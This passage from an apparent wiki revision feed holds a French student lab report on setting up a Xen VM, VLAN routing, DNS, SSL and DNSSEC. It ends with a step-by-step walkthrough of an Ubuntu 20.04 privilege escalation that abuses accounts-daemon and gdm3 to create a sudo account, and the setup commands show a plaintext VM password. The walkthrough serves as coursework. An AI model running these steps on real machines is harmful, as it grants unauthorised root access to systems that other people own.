Nous souhaitons dans cette partie configurer /etc/motd à l’aide d’ansible sur notre machine &lt;br /&gt;
Nous nous inspirons pour cette partie de la documentation d’ansible en ligne.Nous créons notre playbook dans lequel nous faisons le liens entre le rôle en question (configuration de motd) et notre vm secondaire sur chassiron :&lt;br /&gt;
 fichier playbook.yml&lt;br /&gt;
&lt;br /&gt;
 Hosts : vmperso&lt;br /&gt;
 Roles:&lt;br /&gt;
       -{ role : adriagalin.motd }&lt;br /&gt;
&lt;br /&gt;
Nous exécutons ensuite notre playbook.yml :&lt;br /&gt;
 ansible-playbook playbook.yml&lt;br /&gt;
&lt;br /&gt;
Nous obtenir le résultat voulu dans le fichier /etc/motd de notre vm située sur chassiron :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:host.png || 600px]]&lt;br /&gt;
&lt;br /&gt;
===Ansible rôle NTP===&lt;br /&gt;
&lt;br /&gt;
==Installation de Docker==&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est d’installer docker sur notre vm secondaire. Nous nous basons sur la documentation de geerlingguy. Après avoir télécharger les fichiers correspondants, nous modifions notre playbook.yml en redéfinissant les variables docker_apt_gpg_key et docker_apt_repository :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:play_docker.png | 600px ]]&lt;br /&gt;
&lt;br /&gt;
Nous relançons playboot.yml, l'installations se déroule correctement sur notre VM secondaire.&lt;br /&gt;
&lt;br /&gt;
==Création du conteneur==&lt;br /&gt;
&lt;br /&gt;
==Configuration des serveurs internes==&lt;br /&gt;
&lt;br /&gt;
==Equilibreur de charge==&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54904</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54904"/>
				<updated>2020-12-17T16:30:00Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* Installation d'Ansible */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Informations générales=&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Site web !! IP publique !! IP privée !! VLAN !! IPV4 !! IPV4 6509-E !! IPV4 C9200 !! IPV4 Routeur !! IPV6&lt;br /&gt;
|-&lt;br /&gt;
| https://www.piedbleu.site &lt;br /&gt;
| 193.48.57.181&lt;br /&gt;
| 100.64.0.21&lt;br /&gt;
| 308&lt;br /&gt;
| 10.60.108.0/24&lt;br /&gt;
| 10.60.108.1&lt;br /&gt;
| 10.60.108.2&lt;br /&gt;
| 10.60.108.254&lt;br /&gt;
| 2001:660:4401:60ba::0/64 &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=Installation de la machine virtuelle Xen=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on fait un SSH sur capbreton.&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
&lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
&lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=Interconnexion de VLAN=&lt;br /&gt;
&lt;br /&gt;
==Configuration IPv4==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie configurer notre VLAN personnel (308) sur les deux routeurs (9200 ET 6509-e) à l'aide du protocole VRRP.  &lt;br /&gt;
&lt;br /&gt;
'''Routeur C9200'''&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons en ssh à partir de notre VM:&lt;br /&gt;
 ssh admin@10.60.100.2&lt;br /&gt;
&lt;br /&gt;
ensuite :&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 vrrp 48 address-family ipv4&lt;br /&gt;
 address 10.60.108.254&lt;br /&gt;
 preempt &lt;br /&gt;
 vrrpv2&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On quitte avec exit et on sauvegarde avec write.&lt;br /&gt;
&lt;br /&gt;
La commande show vlan nous affiche bien notre VLAN configuré.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Routeur 6509-E'''&lt;br /&gt;
&lt;br /&gt;
 ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc&lt;br /&gt;
&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 vrrp 48 ip 10.60.108.254&lt;br /&gt;
 vrrp 48 preempt&lt;br /&gt;
 vrrp 48 priority 110&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On quitte et on sauvegarde de la même manière. La commande show vlan nous affiche bien notre vlan configuré.&lt;br /&gt;
&lt;br /&gt;
==Configuration IPv6==&lt;br /&gt;
&lt;br /&gt;
'''Routeur 6509-E'''&lt;br /&gt;
&lt;br /&gt;
 vlan 308&lt;br /&gt;
 name piedbleu.site&lt;br /&gt;
 exit&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 no shut&lt;br /&gt;
 ip address 10.60.108.1 255.255.255.0&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 address 2001:660:4401:60ba::/64 eui-64&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference High&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Routeur C9200'''&lt;br /&gt;
&lt;br /&gt;
 vlan 308&lt;br /&gt;
 name piedbleu.site&lt;br /&gt;
 exit&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 no shut&lt;br /&gt;
 ip address 10.60.108.2 255.255.255.0&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 address 2001:660:4401:60ba::/64 eui-64&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference Low&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
=Services Internet=&lt;br /&gt;
==Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
Ensuite, on fait un ssh sur les 2 routeurs, puis: &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
  ping google.fr&lt;br /&gt;
&lt;br /&gt;
==Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
==Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré notre nom de domaine, nous configurons notre serveur DNS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
'''1ère étape: '''&lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine (localhost).&lt;br /&gt;
&lt;br /&gt;
'''2ème étape:'''&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire (ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
'''3ème étape:'''&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS (ns1.piedbleu.site et ns6.gandi.net) ainsi que l'adresse du premier NS (ip publique de notre VM) : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Résultat :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:reponse.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
A présent, nous pouvons configurer le serveur de nom secondaire : &lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
==Sécurisation de site web par certificat==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.&lt;br /&gt;
&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:&lt;br /&gt;
&lt;br /&gt;
 @       IN      MX      100 ns1.piedbleu.site.&lt;br /&gt;
&lt;br /&gt;
Nous installons ensuite postfix (configuration : &amp;quot;Internet Site&amp;quot;, nom du site &amp;quot; piedbleu.site&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons ensuite l'alias dans le fichier /etc/aliases&lt;br /&gt;
&lt;br /&gt;
 admin:root&lt;br /&gt;
&lt;br /&gt;
et nous effectuons la commande : &lt;br /&gt;
&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant envoyer des mails à l'adresse &amp;quot;admin@piedbleu.site&amp;quot;. Ces mails sont visibles lorsque l'on tape la commande :&lt;br /&gt;
 &lt;br /&gt;
 mailx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.&lt;br /&gt;
&lt;br /&gt;
Nous devons pour cela générer une demande de signature de certificat. Nous utilisons pour cela la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-newkey tsa:2048 permet de générer une requête CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.&lt;br /&gt;
&lt;br /&gt;
-keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom &amp;quot;piedbleu.site.key&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
-out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom &amp;quot;piedbleu.csr&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine &amp;quot;piedbleu.site&amp;quot; pour le Common Name.&lt;br /&gt;
&lt;br /&gt;
Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr.&lt;br /&gt;
&lt;br /&gt;
Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.&lt;br /&gt;
&lt;br /&gt;
On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentré le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaire. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.crt&lt;br /&gt;
 /etc/ssl/GandiStandardSSLCA2.pem&lt;br /&gt;
&lt;br /&gt;
Nous copions aussi notre clé privée dans ce répertoire:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.key&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant passer à la configuration d'apache2 :&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, il est nécessaire d'activer le module SSL d'apache:&lt;br /&gt;
 &lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire  /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS (port 443):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerAdmin admin@piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  Redirect permanent / https://www.piedbleu.site/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.181:443&amp;gt;&lt;br /&gt;
  ServerName piedbleu.site&lt;br /&gt;
  ServerAlias www.piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
  SSLEngine on&lt;br /&gt;
  SSLCertificateFile /etc/ssl/piedbleu.site.crt&lt;br /&gt;
  SSLCertificateKeyFile /etc/ssl/piedbleu.site.key&lt;br /&gt;
  SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La commande : &lt;br /&gt;
 apachect1 configtest &lt;br /&gt;
nous indique bien que la syntaxe est correcte.&lt;br /&gt;
&lt;br /&gt;
Nous devons aussi modifier la configuration de notre DNS (fichier db.piedbleu.site), en rajoutant un enregistrement de type A (address) :&lt;br /&gt;
&lt;br /&gt;
 www	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Pour que les modifications soient prises en compte, nous redémarrons apache2:&lt;br /&gt;
&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
==Sécurisation du serveur DNS par DNSSEC==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons ensuite générer deux couples de clefs qui serviront pour le chiffrement. Avant cela, nous créons un dossier piedbleu.site.dnssec où seront stockées ces clefs.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues de la manière suivante:&lt;br /&gt;
 Kpiedbleu.site.+005+09001.key -&amp;gt; piedbleu.site-ksk.key &lt;br /&gt;
 Kpiedbleu.site.+005+09001.private -&amp;gt; piedbleu.site-ksk.private&lt;br /&gt;
 Kpiedbleu.site.+005+22902.key -&amp;gt; piedbleu.site-zsk.key&lt;br /&gt;
 Kpiedbleu.site.+005+22902.private -&amp;gt; piedbleu.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Nous n’oublions pas d'incrémenter le numéro version pour que les modifications soient prises en compte.&lt;br /&gt;
&lt;br /&gt;
On signe ensuite les enregistrements de la zone : &lt;br /&gt;
 dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk&lt;br /&gt;
&lt;br /&gt;
Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site.signed&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière étape consiste à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.&lt;br /&gt;
&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Vérification:&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/&lt;br /&gt;
&lt;br /&gt;
[[Fichier:dnssec1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
L'utilisation de la commande : &lt;br /&gt;
 dnssec-verify -o piedbleu.site db.piedbleu.site.signed&lt;br /&gt;
&lt;br /&gt;
nous donne le résultat suivant:&lt;br /&gt;
 Loading zone 'piedbleu.site' from file 'db.piedbleu.site.signed'&lt;br /&gt;
 Verifying the zone using the following algorithms: RSASHA1.&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                     ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
&lt;br /&gt;
==IPv6==&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir accéder à notre serveur via IPv6, on ajoute ces lignes dans /etc/bind/db.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fefe:c26c&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fefe:c26c&lt;br /&gt;
&lt;br /&gt;
Ensuite, on resigne le DNS : &lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk&lt;br /&gt;
&lt;br /&gt;
Et on redémarre bind9.&lt;br /&gt;
&lt;br /&gt;
=Tests d’intrusion=&lt;br /&gt;
&lt;br /&gt;
==Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==&lt;br /&gt;
&lt;br /&gt;
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en  &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; '''exclusivité dans le département IMA''' &amp;lt;/span&amp;gt; l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai aperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur une machine Linux.&lt;br /&gt;
&lt;br /&gt;
1) J'installe Ubuntu 20.04 dans une VM.&lt;br /&gt;
&lt;br /&gt;
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...&lt;br /&gt;
&lt;br /&gt;
 sudo adduser u1&lt;br /&gt;
 su u1&lt;br /&gt;
 id&lt;br /&gt;
   uid=1001(u1) gid=1001(u1) groupes=1001(u1)&lt;br /&gt;
&lt;br /&gt;
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : &lt;br /&gt;
&lt;br /&gt;
 ln -s /dev/zero ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Puis on va dans Settings &amp;gt; Region and Language &amp;gt; Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : &lt;br /&gt;
&lt;br /&gt;
 top&lt;br /&gt;
&lt;br /&gt;
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.&lt;br /&gt;
&lt;br /&gt;
 kill -SIGSTOP 1098&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.&lt;br /&gt;
&lt;br /&gt;
 rm ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière-plan après 10 secondes. &lt;br /&gt;
 &lt;br /&gt;
 nohup bash -c &amp;quot;sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On se déconnecte de notre session.&lt;br /&gt;
&lt;br /&gt;
Le menu &amp;quot;Welcome&amp;quot; de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comptes). Un nouvel utilisateur apparaît sur la machine ! &lt;br /&gt;
&lt;br /&gt;
 whoami&lt;br /&gt;
   pwn&lt;br /&gt;
 id&lt;br /&gt;
   uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Explication : '''&lt;br /&gt;
&lt;br /&gt;
En changeant la langue dans &amp;quot;Region and Language&amp;quot;, le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.&lt;br /&gt;
&lt;br /&gt;
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... &lt;br /&gt;
&lt;br /&gt;
Ensuite, on se déconnecte de notre session en lançant en arrière-plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv-&amp;gt;have_existing_user_accounts, qui est : &amp;quot;false&amp;quot;. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Note 1 : ''' La faille semble avoir été rapidement patchée.&lt;br /&gt;
&lt;br /&gt;
'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège : &lt;br /&gt;
&lt;br /&gt;
